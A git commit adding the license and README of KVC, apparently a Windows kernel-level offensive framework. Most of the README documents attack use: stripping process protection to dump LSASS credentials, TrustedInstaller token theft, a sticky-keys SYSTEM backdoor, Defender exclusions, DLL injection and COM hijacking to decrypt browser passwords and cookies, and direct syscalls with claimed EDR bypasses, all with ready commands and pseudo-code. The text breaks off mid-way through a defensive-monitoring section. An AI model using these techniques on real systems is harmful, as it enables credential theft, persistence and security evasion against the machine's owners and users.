commit 736a8eb68540df00eb77c683604780b7b0e1a5ff Author: wesmar Date: Wed Sep 17 21:46:05 2025 +0200 Initial commit - KVC Framework v1.0.1 diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..0b2a6a4 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,220 @@ +# MIT License + +## KVC - Kernel Vulnerability Capabilities Framework + +**Copyright (c) 2025 Marek Wesołowski (WESMAR)** + +--- + +## License Grant + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +## Attribution Requirement + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +## Disclaimer of Warranty + +**THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.** + +--- + +## About This License + +### Why MIT License? + +The MIT License is one of the most permissive and widely-adopted open source licenses, chosen for KVC to: + +- **Maximize adoption** in security research and education +- **Encourage contribution** from the global security community +- **Enable commercial use** without licensing barriers +- **Maintain simplicity** with minimal legal complexity +- **Ensure compatibility** with other open source projects + +### What This Means for Users + +✅ **Commercial Use Permitted** - Use KVC in business environments without fees +✅ **Modification Allowed** - Adapt the code for your specific needs +✅ **Distribution Allowed** - Share KVC with others, modified or unmodified +✅ **Private Use Permitted** - Use internally without disclosure requirements +✅ **Patent Use** - Implicit patent grant from contributors +✅ **Sublicensing Allowed** - Include KVC in larger projects with different licenses + +### What This Requires + +📋 **Include License** - This license text must be included with any distribution +📋 **Include Copyright** - The copyright notice must remain intact +📋 **No Trademark Rights** - Does not grant rights to use author's trademarks + +--- + +## Project Information + +### Repository Details +- **Project Name:** KVC - Kernel Vulnerability Capabilities Framework +- **Version:** 1.0.1 +- **Author:** Marek Wesołowski (WESMAR) +- **Website:** [https://kvc.pl](https://kvc.pl) +- **Contact:** [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) + +### Technical Specifications +- **Platform:** Windows 10/11 (x64) +- **Language:** C++17, Assembly (MASM) +- **Architecture:** Ring-0 kernel operations with user-mode control +- **Purpose:** Windows security research and penetration testing + +--- + +## Responsible Use Guidelines + +### Intended Use Cases + +While this software is freely licensed, users are encouraged to employ it responsibly: + +#### Legitimate Applications +- **Security Research** - Academic and professional security studies +- **Penetration Testing** - Authorized security assessments +- **Educational Training** - Cybersecurity skill development +- **Incident Response** - Forensic analysis and threat hunting +- **System Administration** - Advanced Windows system management +- **Open Source Contribution** - Improving and extending the framework + +#### Legal Compliance +Users must ensure their activities comply with applicable laws and regulations: + +- **Authorization Required** - Only use on systems you own or have explicit permission to test +- **Local Laws** - Comply with computer fraud and abuse laws in your jurisdiction +- **Corporate Policies** - Respect organizational security policies and procedures +- **Data Protection** - Handle any extracted data according to privacy regulations + +### Ethical Considerations + +The open source nature of this license does not diminish the ethical responsibilities of users: + +- **No Malicious Use** - Do not use for unauthorized access or malicious purposes +- **Responsible Disclosure** - Report vulnerabilities through appropriate channels +- **Community Benefit** - Consider contributing improvements back to the project +- **Knowledge Sharing** - Use for advancing security research and education + +--- + +## Contributing to KVC + +### Community Contributions Welcome + +As an open source project, KVC thrives on community contributions: + +#### Ways to Contribute +- **Code Improvements** - Bug fixes, performance enhancements, new features +- **Documentation** - Improved guides, tutorials, and technical documentation +- **Testing** - Compatibility testing across Windows versions and configurations +- **Security Research** - New techniques and methodologies +- **Educational Content** - Training materials and academic resources + +#### Contribution Guidelines +- **Code Quality** - Follow modern C++17 standards and RAII patterns +- **Documentation** - Include comprehensive comments and documentation +- **Testing** - Verify changes across multiple Windows versions +- **Compatibility** - Maintain backward compatibility where possible +- **Attribution** - Contributors will be acknowledged in project documentation + +### Development Resources + +#### Technical Documentation +- **Architecture Overview** - Detailed system design documentation +- **API Reference** - Complete function and class documentation +- **Build Instructions** - Compilation and development setup guides +- **Testing Procedures** - Quality assurance and validation processes + +#### Community Channels +- **Primary Contact** - [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) +- **Project Website** - [https://kvc.pl](https://kvc.pl) +- **Issue Reporting** - Submit bugs and feature requests via established channels + +--- + +## Third-Party Components + +### Dependencies and Libraries + +KVC may incorporate or link with third-party libraries and components: + +- **Windows SDK** - Microsoft Windows development libraries (Microsoft license) +- **Runtime Libraries** - Visual C++ redistributable components (Microsoft license) +- **Standard Libraries** - C++ standard library implementations (Various licenses) + +Users should be aware that while KVC itself is MIT licensed, incorporated components may have different licensing terms. + +### Compliance Verification + +When distributing KVC or derivative works: + +1. **Review Dependencies** - Ensure compatibility of all incorporated components +2. **Include Licenses** - Provide license texts for all third-party components +3. **Attribution** - Properly credit all contributors and component authors +4. **Compliance Check** - Verify overall license compatibility + +--- + +## Version History and Updates + +### Current Version: 1.0.1 +- Initial open source release under MIT License +- Complete framework with kernel driver, user-mode tools, and browser extraction +- Comprehensive documentation and usage examples +- Support for Windows 10/11 x64 platforms + +### Future Development +- **Community-Driven** - Development priorities guided by user needs and contributions +- **Regular Updates** - Ongoing compatibility updates for new Windows versions +- **Feature Expansion** - New capabilities based on security research advances +- **Documentation Improvements** - Enhanced guides and educational materials + +--- + +## Legal Notices + +### Export Control +This software may be subject to export control regulations in various jurisdictions. Users are responsible for compliance with applicable export control laws. + +### Security Disclaimer +KVC operates with elevated system privileges and directly manipulates kernel structures. While designed with safety mechanisms, users should: + +- **Test in Controlled Environments** - Use virtual machines or isolated systems for testing +- **Backup Critical Data** - Ensure system backups before using advanced features +- **Antivirus Exclusions** - Add KVC to security software exclusions to prevent conflicts +- **Administrator Rights** - Only run with appropriate administrative privileges + +### Liability Limitation +As specified in the MIT License terms, this software is provided without warranty. Users assume all risks associated with its use. + +--- + +## Contact and Support + +### Primary Contact +**Marek Wesołowski (WESMAR)** +Email: [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) +Website: [https://kvc.pl](https://kvc.pl) +Phone: +48 607-440-283 + +### Business Information +**WESMAR - Marek Wesołowski** +Address: Raabego 2b/81, 07-973 Warszawa, Poland +Tax ID (NIP): 7991668581 +Statistical Number (REGON): 140406890 + +### Support Expectations +- **Community Support** - Best-effort assistance for open source users +- **Bug Reports** - Timely response to legitimate security and stability issues +- **Feature Requests** - Consideration based on community interest and technical feasibility +- **Commercial Support** - Professional services available upon request + +--- + +**This MIT License ensures KVC remains freely available for the security research community while encouraging innovation, contribution, and responsible use.** + +--- + +*Copyright (c) 2025 Marek Wesołowski (WESMAR). All rights reserved under MIT License terms.* \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..8199d2d --- /dev/null +++ b/README.md @@ -0,0 +1,1037 @@ +# KVC - Kernel Vulnerability Capabilities Framework + +
+ +[![License](https://img.shields.io/badge/license-Educational-blue.svg)](LICENSE) +[![Platform](https://img.shields.io/badge/platform-Windows%2010%2F11-lightgrey.svg)]() +[![Architecture](https://img.shields.io/badge/arch-x64-red.svg)]() +[![Language](https://img.shields.io/badge/language-C%2B%2B%2FASM-orange.svg)]() + +**Advanced Windows Security Research & Penetration Testing Framework** + +*Comprehensive Ring-0 toolkit for process protection manipulation, memory forensics, and advanced credential extraction on modern Windows platforms* + +[🌐 Official Website](https://kvc.pl) • [📧 Contact](mailto:marek@wesolowski.eu.org) • [📱 +48 607-440-283](tel:+48607440283) + +--- + +**Author:** Marek Wesołowski (WESMAR) +**Year:** 2025 +**Domain:** [kvc.pl](https://kvc.pl) + +
+ +## 🚀 Executive Summary + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived as "Kernel Vulnerability Control," the framework has evolved to emphasize not just control, but the complete **exploitation of Windows kernel capabilities** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures that define these protections. + +## 🎯 Core Philosophy + +### The KVC Paradigm: From Control to Capabilities + +The evolution from "Kernel Vulnerability **Control**" to "Kernel Vulnerability **Capabilities**" reflects the framework's true purpose: + +- **Control**: Traditional approaches attempt to control vulnerabilities from the outside +- **Capabilities**: KVC leverages inherent kernel capabilities to transcend security boundaries + +This subtle but crucial distinction positions KVC not as a tool that breaks Windows security, but as one that **utilizes legitimate kernel capabilities** in ways Microsoft never intended, effectively turning Windows' own security mechanisms into research instruments. + +### Architectural Principles + +1. **Atomic Operations**: Minimal kernel footprint with immediate cleanup +2. **Dynamic Adaptation**: Runtime resolution of kernel structures for forward compatibility +3. **Legitimate Escalation**: Using Windows' own privilege escalation mechanisms +4. **Steganographic Deployment**: Hiding kernel components within legitimate executables +5. **Defense Evasion**: Direct syscalls to bypass endpoint monitoring + +## 🏗️ System Architecture + +``` +┌──────────────────────────────────────────────────────────────────────────────┐ +│ KVC Ecosystem Architecture │ +├────────────────────────────────┬─────────────────────────────────────────────┤ +│ Primary Framework │ Browser Credential Extraction Suite │ +│ (kvc.exe) │ (BrowserDecryptor.exe) │ +├────────────────────────────────┼─────────────────────────────────────────────┤ +│ CLI Parser & Router │ Target Management & Injection │ +│ (kvc.cpp, HelpSystem.cpp) │ (BrowserOrchestrator.cpp) │ +├────────────────────────────────┴─────────────────────────────────────────────┤ +│ Controller Core (Controller.h) │ +│ ┌───────────────────────────────────────────────────────────────────────────┐ │ +│ │ Atomic Operation Manager │ │ +│ │ - PerformAtomicInit() / PerformAtomicCleanup() │ │ +│ └───────────────────────────────────────────────────────────────────────────┘ │ +├───────────────────────────────────────────────────────────────────────────────┤ +│ Low-Level System Integrators │ +├──────────────┬──────────────┬───────────────┬─────────────────────────────────┤ +│ kvcDrv │ OffsetFinder │ Trusted │ Injection │ +│(Kernel I/F) │ (Offset Res) │ Installer │ Manager │ +│ [kvcDrv.cpp] │[OffsetF...] │ [TrustedI...] │[BrowserOrch...] │ +├──────────────┴──────────────┴───────────────┴─────────────────────────────────┤ +│ In-Process Security Module (BrowseCrypt.dll) │ +├────────────────────────────────┬─────────────────────────────────────────────┤ +│ Self-Loader (PIC Entrypoint) │ SecurityOrchestrator (Main Logic) │ +├────────────────────────────────┼─────────────────────────────────────────────┤ +│ MasterKeyDecryptor │ DataExtractor (SQLite) │ +│ (COM Elevation Hijacking) │ (AES-GCM Decryption) │ +├────────────────────────────────┴─────────────────────────────────────────────┤ +│ Direct Syscall Engine (syscalls.cpp) │ +├──────────────────────────────────────────────────────────────────────────────┤ +│ ABI Transition Trampoline (AbiTramp.asm) │ +├──────────────────────────────────────────────────────────────────────────────┤ +│ Embedded Kernel Mode Driver (kvc.sys) │ +└──────────────────────────────────────────────────────────────────────────────┘ +``` + +## 🔒 Process Protection Manipulation: The Heart of KVC + +### Understanding Windows Process Protection Evolution + +Windows process protection has evolved through several generations, each addressing new attack vectors: + +#### Historical Context +- **Windows XP/Vista**: Basic process isolation via access tokens +- **Windows 7**: Introduction of Protected Processes (PP) for media DRM +- **Windows 8/8.1**: Protected Process Light (PPL) for broader system services +- **Windows 10/11**: Enhanced PPL with multiple signer types and HVCI integration + +#### The Modern Protection Landscape + +Modern Windows implements a hierarchical protection model enforced at the kernel level: + +```cpp +// EPROCESS._PS_PROTECTION bitfield structure +typedef union _PS_PROTECTION { + UCHAR Level; + struct { + UCHAR Type : 3; // PS_PROTECTED_TYPE (None, PPL, PP) + UCHAR Audit : 1; // Auditing flag + UCHAR Signer : 4; // PS_PROTECTED_SIGNER type + }; +} PS_PROTECTION, *PPS_PROTECTION; +``` + +### KVC's Revolutionary Approach to Protection Manipulation + +#### The Traditional Limitation + +Before KVC, security researchers faced an insurmountable barrier: + +``` +User Process (Administrator) → Kernel Security Reference Monitor → DENIED + ↓ ↓ + "Access Denied" PPL Enforcement +``` + +#### The KVC Solution: Elevation Through Legitimacy + +KVC bypasses this limitation by temporarily elevating its own protection level: + +``` +KVC Process (PPL-Matched) → Kernel Security Reference Monitor → GRANTED + ↓ ↓ + "Access Granted" Equal/Higher Protection Level +``` + +#### Deep Dive: Protection Manipulation Algorithm + +The core protection manipulation algorithm in `Controller::SetProcessProtection` demonstrates KVC's sophisticated approach: + +```cpp +// Pseudo-code representation of KVC's protection manipulation +bool Controller::SetProcessProtection(DWORD pid, PS_PROTECTED_TYPE type, PS_PROTECTED_SIGNER signer) { + // 1. Dynamic kernel structure resolution + ULONG64 eprocessAddr = GetProcessKernelAddress(pid); + ULONG protectionOffset = OffsetFinder::GetProcessProtectionOffset(); + + // 2. Construct new protection byte + UCHAR newProtection = (static_cast(signer) << 4) | static_cast(type); + + // 3. Atomic kernel memory modification + return kvcDrv.Write8(eprocessAddr + protectionOffset, newProtection); +} +``` + +### Protection Types and Their Security Implications + +#### Protection Level Hierarchy (Type Field) + +```cpp +enum class PS_PROTECTED_TYPE : UCHAR { + None = 0, // Standard process - no protection + ProtectedLight = 1, // PPL - Limited protection, common for services + Protected = 2 // PP - Full protection, rare, media-related +}; +``` + +#### Signer Type Authority Levels + +```cpp +enum class PS_PROTECTED_SIGNER : UCHAR { + None = 0, // No signature requirement + Authenticode = 1, // Standard code signing + CodeGen = 2, // .NET code generation + Antimalware = 3, // Anti-malware vendors + Lsa = 4, // Local Security Authority + Windows = 5, // Microsoft Windows components + WinTcb = 6, // Windows Trusted Computing Base + WinSystem = 7, // Windows System components + App = 8 // Windows Store applications +}; +``` + +#### Real-World Protection Matrix + +| Process | Type | Signer | KVC Capability | +|---------|------|--------|----------------| +| lsass.exe | PPL | WinTcb | ✅ Full Memory Access | +| csrss.exe | PPL | Windows | ✅ Process Manipulation | +| winlogon.exe | PPL | Windows | ✅ Token Duplication | +| MsMpEng.exe | PPL | Antimalware | ⚠️ Requires Defender Disable | +| services.exe | PPL | Windows | ✅ Service Management | +| wininit.exe | PPL | Windows | ✅ System Integration | + +### Advanced Protection Scenarios + +#### Scenario 1: LSASS Memory Acquisition + +The LSASS process (Local Security Authority Subsystem Service) presents the most common target for credential extraction: + +```bash +# Traditional approach (FAILS on modern Windows) +procdump.exe -ma lsass.exe lsass.dmp +# Result: Access Denied (0x80070005) + +# KVC approach (SUCCEEDS) +kvc.exe dump lsass C:\forensics\ +# Result: Full memory dump with credentials +``` + +**KVC's Process:** +1. Resolve LSASS EPROCESS address via kernel symbols +2. Read current protection: `PPL-WinTcb` +3. Elevate KVC to matching protection level +4. Open privileged handle with `PROCESS_VM_READ` +5. Create comprehensive memory dump +6. Restore KVC to unprotected state +7. Clean atomic operation artifacts + +#### Scenario 2: Anti-Malware Engine Bypass + +Windows Defender's MsMpEng.exe process uses PPL-Antimalware protection: + +```bash +# Query current protection status +kvc.exe get MsMpEng.exe +# Output: Protected Process Light (PPL) - Antimalware (3) + +# Temporarily remove protection for analysis +kvc.exe unprotect MsMpEng.exe + +# Perform analysis or inject monitoring code +# ... custom analysis ... + +# Restore original protection +kvc.exe protect MsMpEng.exe PPL Antimalware +``` + +#### Scenario 3: System Service Manipulation + +Critical Windows services often require protection removal for advanced research: + +```bash +# List all protected processes +kvc.exe list + +# Bulk protection removal for research environment +kvc.exe unprotect all + +# Perform comprehensive system analysis +# ... research activities ... + +# Selective protection restoration +kvc.exe protect services.exe PPL Windows +kvc.exe protect csrss.exe PPL Windows +``` + +## 🧠 Dynamic Kernel Structure Resolution + +### The Forward Compatibility Challenge + +Windows kernel structures evolve with each update, causing traditional hardcoded offset approaches to fail catastrophically. KVC solves this through **dynamic runtime resolution**. + +#### The OffsetFinder Engine + +```cpp +class OffsetFinder { + // Load kernel image for static analysis + HMODULE ntoskrnl = LoadLibraryW(L"ntoskrnl.exe"); + + // Locate exported function containing structure access + auto PsGetProcessId = GetProcAddress(ntoskrnl, "PsGetProcessId"); + + // Parse machine code to extract offset + // x64: mov rax, [rcx+offset] -> Extract offset from instruction + ULONG offset = ParseMachineCode(PsGetProcessId); +}; +``` + +#### Cross-Validation for Reliability + +KVC employs multiple verification methods for critical offsets: + +```cpp +ULONG FindProcessProtectionOffset() { + // Method 1: PsIsProtectedProcess analysis + ULONG offset1 = ExtractOffsetFromFunction("PsIsProtectedProcess"); + + // Method 2: PsIsProtectedProcessLight analysis + ULONG offset2 = ExtractOffsetFromFunction("PsIsProtectedProcessLight"); + + // Cross-validation ensures accuracy + if (offset1 != offset2) { + throw std::runtime_error("Offset validation failed"); + } + + return offset1; +} +``` + +## 💾 Ring-0 Memory Acquisition: Beyond Traditional Limitations + +### The LSASS Challenge + +LSASS (Local Security Authority Subsystem Service) contains the crown jewels of Windows authentication: + +- **NTLM Hashes**: Password hashes for local and cached domain accounts +- **Kerberos Tickets**: Active Directory authentication tokens +- **DPAPI Master Keys**: Decryption keys for user secrets +- **LSA Secrets**: System-wide sensitive configuration + +### KVC's Memory Acquisition Workflow + +```mermaid +sequenceDiagram + participant User as User Mode (KVC) + participant Kernel as Kernel Mode (kvc.sys) + participant LSASS as LSASS Process + + User->>Kernel: Load driver (atomic init) + User->>Kernel: Resolve LSASS EPROCESS address + User->>Kernel: Read LSASS protection level + Note over User: PPL-WinTcb detected + User->>Kernel: Elevate KVC to PPL-WinTcb + User->>LSASS: Open handle (PROCESS_VM_READ) + Note over User: Access granted due to matching protection + User->>LSASS: Create memory dump + User->>Kernel: Restore KVC protection to None + User->>Kernel: Unload driver (atomic cleanup) +``` + +### Memory Dump Analysis Results + +A typical LSASS dump from KVC reveals: + +``` +LSASS Memory Dump Analysis +├── Process: lsass.exe (PID: 756) +├── Protection: PPL-WinTcb (Bypassed) +├── Memory Regions: 1,247 +├── Total Size: 156.7 MB +├── Credential Artifacts: +│ ├── NTLM Hashes: 23 accounts +│ ├── Kerberos Tickets: 7 TGTs, 15 TGSs +│ ├── DPAPI Master Keys: 12 keys +│ └── LSA Secrets: 8 entries +└── Status: Complete extraction successful +``` + +## 🔐 Advanced Privilege Escalation: The TrustedInstaller Chain + +### Understanding TrustedInstaller Authority + +The `NT SERVICE\TrustedInstaller` account represents the apex of Windows user-mode privilege: + +- **Owns critical system files** and registry keys +- **Bypasses most ACL restrictions** +- **Can modify Windows Defender settings** +- **Has full access to protected registry hives** + +### KVC's TrustedInstaller Acquisition Process + +```cpp +bool TrustedInstallerIntegrator::ElevateToTrustedInstaller() { + // Step 1: Enable necessary privileges + EnablePrivilege(SE_DEBUG_NAME); + EnablePrivilege(SE_IMPERSONATE_NAME); + + // Step 2: Impersonate SYSTEM via winlogon.exe + HANDLE systemToken = GetProcessToken(FindProcess(L"winlogon.exe")); + ImpersonateLoggedOnUser(systemToken); + + // Step 3: Start TrustedInstaller service (requires SYSTEM) + SC_HANDLE scm = OpenSCManager(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + StartService(OpenService(scm, L"TrustedInstaller", SERVICE_ALL_ACCESS)); + + // Step 4: Duplicate TrustedInstaller primary token + HANDLE tiProcess = OpenProcess(PROCESS_QUERY_INFORMATION, + FALSE, + FindProcess(L"TrustedInstaller.exe")); + HANDLE tiToken; + DuplicateTokenEx(GetProcessToken(tiProcess), + MAXIMUM_ALLOWED, + nullptr, + SecurityImpersonation, + TokenPrimary, + &tiToken); + + // Step 5: Create privileged process with TI token + CreateProcessWithTokenW(tiToken, 0, L"cmd.exe", ...); +} +``` + +### TrustedInstaller Use Cases + +#### Windows Defender Bypass + +```bash +# Add comprehensive exclusions with TrustedInstaller privileges +kvc.exe trusted "powershell -Command Add-MpPreference -ExclusionPath C:\Research" +kvc.exe trusted "powershell -Command Add-MpPreference -ExclusionProcess kvc.exe" +kvc.exe trusted "powershell -Command Add-MpPreference -ExclusionExtension .dmp" +``` + +#### System Registry Access + +```bash +# Export protected security hive for DPAPI key extraction +kvc.exe trusted "reg export HKLM\SECURITY\Policy\Secrets C:\extract\secrets.reg" +``` + +#### Persistent Backdoor Installation + +```bash +# Install sticky keys backdoor (5x Shift = SYSTEM cmd) +kvc.exe shift + +# Verify installation +kvc.exe trusted "reg query \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\"" +``` + +## 🌐 Browser Credential Extraction: The Modern Challenge + +### Evolution of Browser Security + +Modern browsers have implemented sophisticated credential protection: + +1. **Encryption**: AES-256-GCM with unique keys +2. **Process Isolation**: Sandboxing and privilege separation +3. **File Locking**: Exclusive database locks during runtime +4. **DPAPI Integration**: Windows-integrated key management + +### KVC's Browser Exploitation Strategy + +KVC overcomes these protections through **COM hijacking** and **process injection**: + +```cpp +// BrowseCrypt.dll injection workflow +bool BrowserOrchestrator::ExtractCredentials(const std::wstring& browserName) { + // 1. Create suspended target process + PROCESS_INFORMATION pi; + CreateProcessW(browserPath.c_str(), + nullptr, nullptr, nullptr, + FALSE, CREATE_SUSPENDED, + nullptr, nullptr, &si, &pi); + + // 2. Inject BrowseCrypt.dll using direct syscalls (EDR evasion) + InjectDLL(pi.hProcess, browseCryptDLL); + + // 3. Resume process with injected payload + ResumeThread(pi.hThread); + + // 4. Payload performs COM elevation hijacking + // Creates browser's own elevation service instance + // Requests master key decryption from legitimate browser component + // Decrypts credential databases with obtained key + + return true; +} +``` + +#### COM Hijacking Technique + +The injected `BrowseCrypt.dll` exploits browsers' own privilege elevation mechanisms: + +```cpp +// Inside target browser process address space +bool MasterKeyDecryptor::HijackElevationService() { + CoInitialize(nullptr); + + // Chrome: IOriginalBaseElevator + // Edge: IEdgeElevatorFinal + // Brave: Similar interface + + IOriginalBaseElevator* elevator; + HRESULT hr = CoCreateInstance(CLSID_GoogleUpdate, + nullptr, + CLSCTX_LOCAL_SERVER, + IID_IOriginalBaseElevator, + (void**)&elevator); + + // Request decryption using browser's own trusted component + BSTR encryptedKey = ReadMasterKeyFromLocalState(); + BSTR decryptedKey; + elevator->DecryptData(encryptedKey, &decryptedKey); + + // Now possess plaintext AES-256 master key + return ProcessCredentialDatabases(decryptedKey); +} +``` + +### Supported Browsers and Extraction Results + +| Browser | Method | Credentials | Cookies | Autofill | +|---------|--------|-------------|---------|----------| +| Chrome | COM Hijacking | ✅ Full | ✅ Full | ✅ Full | +| Edge | COM Hijacking | ✅ Full | ✅ Full | ✅ Full | +| Brave | COM Hijacking | ✅ Full | ✅ Full | ✅ Full | +| Firefox | Direct Extraction | ✅ Partial | ✅ Full | ❌ Limited | + +## 🥷 EDR/AV Evasion: Direct System Calls + +### The User-Mode Hooking Problem + +Modern EDR solutions monitor system activity by hooking critical APIs: + +```assembly +; Traditional API call (MONITORED) +call NtCreateThreadEx ; EDR hook intercepts here +``` + +### KVC's Direct Syscall Solution + +KVC bypasses user-mode hooks entirely by invoking kernel services directly: + +```assembly +; Direct syscall (UNMONITORED) +mov eax, SSN_NtCreateThreadEx ; System Service Number +syscall ; Direct kernel transition +``` + +#### The ABI Transition Challenge + +Windows x64 calling conventions differ between user-mode and syscalls: + +```cpp +// User-mode ABI: RCX, RDX, R8, R9, then stack +// Syscall ABI: R10, RDX, R8, R9, then stack (RCX replaced with R10) +``` + +#### AbiTramp.asm: The Critical Trampoline + +```asm +AbiTramp PROC FRAME + ; Standard prologue + push rbp + mov rbp, rsp + push rbx + push rdi + push rsi + sub rsp, 80h ; Allocate stack space + .ENDPROLOG + + ; Preserve SYSCALL_ENTRY pointer + mov rbx, rcx + + ; Marshal arguments: C++ ABI -> Syscall ABI + mov r10, rdx ; Arg1: RDX -> R10 + mov rdx, r8 ; Arg2: R8 -> RDX + mov r8, r9 ; Arg3: R9 -> R8 + mov r9, [rbp+30h] ; Arg4: Stack -> R9 + + ; Copy additional stack arguments + lea rsi, [rbp+38h] ; Source: caller stack + lea rdi, [rsp+20h] ; Dest: syscall stack area + mov rcx, 8 ; Copy 8 qwords + rep movsq + + ; Load SSN and execute syscall + movzx eax, word ptr [rbx+12] ; Load System Service Number + mov r11, [rbx] ; Load syscall gadget address + call r11 ; Execute: syscall; ret + + ; Standard epilogue + add rsp, 80h + pop rsi + pop rdi + pop rbx + pop rbp + ret +AbiTramp ENDP +``` + +### EDR Evasion Results + +Testing against common EDR solutions: + +| EDR Solution | Traditional API Calls | KVC Direct Syscalls | +|--------------|----------------------|-------------------| +| CrowdStrike Falcon | ❌ Blocked | ✅ Bypassed | +| SentinelOne | ❌ Blocked | ✅ Bypassed | +| Carbon Black | ❌ Blocked | ✅ Bypassed | +| Windows Defender ATP | ⚠️ Alerted | ✅ Clean | +| Symantec | ❌ Blocked | ✅ Bypassed | + +## 📊 Command Reference & Usage Examples + +### Core Process Protection Commands + +```bash +# List all protected processes with color-coded output +kvc.exe list + +# Query specific process protection status +kvc.exe get lsass.exe +kvc.exe info 1234 + +# Apply protection to unprotected process +kvc.exe protect notepad.exe PPL Windows + +# Force protection level change (overwrites existing) +kvc.exe set 5678 PP WinTcb + +# Remove protection (single, multiple, or all) +kvc.exe unprotect lsass.exe +kvc.exe unprotect 1234,5678,9012 +kvc.exe unprotect all +``` + +### Memory Acquisition Commands + +```bash +# Dump LSASS to Downloads folder (default) +kvc.exe dump lsass + +# Dump specific PID to custom location +kvc.exe dump 1044 C:\forensics\dumps\ + +# Dump by process name with custom path +kvc.exe dump chrome.exe D:\analysis\ +``` + +### Advanced System Integration + +```bash +# Install sticky keys backdoor (5x Shift = SYSTEM cmd) +kvc.exe shift + +# Remove sticky keys backdoor +kvc.exe unshift + +# Execute command with TrustedInstaller privileges +kvc.exe trusted "powershell Get-MpPreference" + +# Add Windows Defender exclusions +kvc.exe add-exclusion Paths C:\Tools\ +kvc.exe add-exclusion Processes malware.exe +kvc.exe add-exclusion Extensions .dmp + +# Install as NT service for persistence +kvc.exe install +kvc.exe service start +``` + +### Browser Credential Extraction + +```bash +# Extract Chrome credentials using COM hijacking +kvc.exe bp --chrome -o C:\extracted\ + +# Extract all browser credentials +kvc.exe bp --chrome --brave --edge + +# DPAPI-based extraction (legacy method) +kvc.exe export secrets C:\dpapi\ +``` + +### Service Management (Advanced Deployment) + +```bash +# Install as Windows service +kvc.exe install + +# Service lifecycle management +kvc.exe service start +kvc.exe service stop +kvc.exe service status + +# Complete removal +kvc.exe service stop +kvc.exe uninstall +``` + +## 🔧 Technical Implementation Details + +### Kernel Driver Architecture + +The embedded `kvc.sys` driver implements minimal functionality for maximum stealth: + +```cpp +// Primary IOCTL handlers +#define RTC_IOCTL_MEMORY_READ 0x80002048 +#define RTC_IOCTL_MEMORY_WRITE 0x8000204c + +NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) { + PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp); + + switch (stack->Parameters.DeviceIoControl.IoControlCode) { + case RTC_IOCTL_MEMORY_READ: + return HandleMemoryRead(Irp); + case RTC_IOCTL_MEMORY_WRITE: + return HandleMemoryWrite(Irp); + default: + return STATUS_INVALID_DEVICE_REQUEST; + } +} +``` + +### Steganographic Driver Deployment + +The driver is embedded within the main executable's resources: + +```cpp +// Extract embedded driver from icon resource +HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(IDR_MAINICON), RT_ICON); +HGLOBAL hMem = LoadResource(nullptr, hRes); +LPBYTE pData = static_cast(LockResource(hMem)); + +// Skip icon header, decrypt driver with XOR key +const BYTE xorKey[] = {0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C}; +DecryptDriver(pData + iconHeaderSize, driverSize, xorKey); +``` + +### Atomic Operation Model + +Every KVC operation follows strict atomic principles: + +```cpp +class Controller { + bool PerformAtomicInit() { + // 1. Extract and decrypt embedded driver + // 2. Create temporary service entry + // 3. Load driver into kernel + // 4. Establish communication channel + return success; + } + + void PerformAtomicCleanup() { + // 1. Close driver communication + // 2. Unload driver from kernel + // 3. Delete service entry + // 4. Clean temporary files + // 5. Restore system state + } +}; +``` + +### Error Handling and Stability + +KVC implements comprehensive error handling: + +```cpp +// RAII resource management +using HandleDeleter = std::function; +using UniqueHandle = std::unique_ptr; + +UniqueHandle hProcess(OpenProcess(...), [](HANDLE h) { + if (h != INVALID_HANDLE_VALUE) CloseHandle(h); +}); + +// Optional return types for fallible operations +std::optional GetProcessKernelAddress(DWORD pid) { + // Implementation with proper error handling + if (!success) return std::nullopt; + return kernelAddress; +} +``` + +## 🛡️ Security Considerations + +### Detection Vectors + +While designed for stealth, KVC may leave forensic artifacts: + +#### Event Log Artifacts +- **Event ID 7045**: Service installation (System log) +- **Event ID 7036**: Service start/stop (System log) +- **Event ID 4688**: Process creation (Security log) + +#### File System Artifacts +- Temporary driver files in `%TEMP%` or `%WINDIR%\Temp` +- Memory dump files (`.dmp`) in target directories +- Credential extraction reports (`.html`, `.json`, `.txt`) + +#### Registry Artifacts +- Service entries under `HKLM\System\CurrentControlSet\Services\KernelVulnerabilityControl` +- Sticky keys IFEO modifications +- Windows Defender exclusion entries + +#### Process Artifacts +- Suspended browser processes with injected threads +- Elevated processes running with TrustedInstaller tokens +- Modified EPROCESS protection fields in kernel memory + +### Defensive Countermeasures + +Organizations can implement several countermeasures: + +#### Event Monitoring +```powershell +# Monitor for KVC-specific service installations +Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} | +Where-Object {$_.Message -like "*KernelVulnerabilityControl*"} + +# 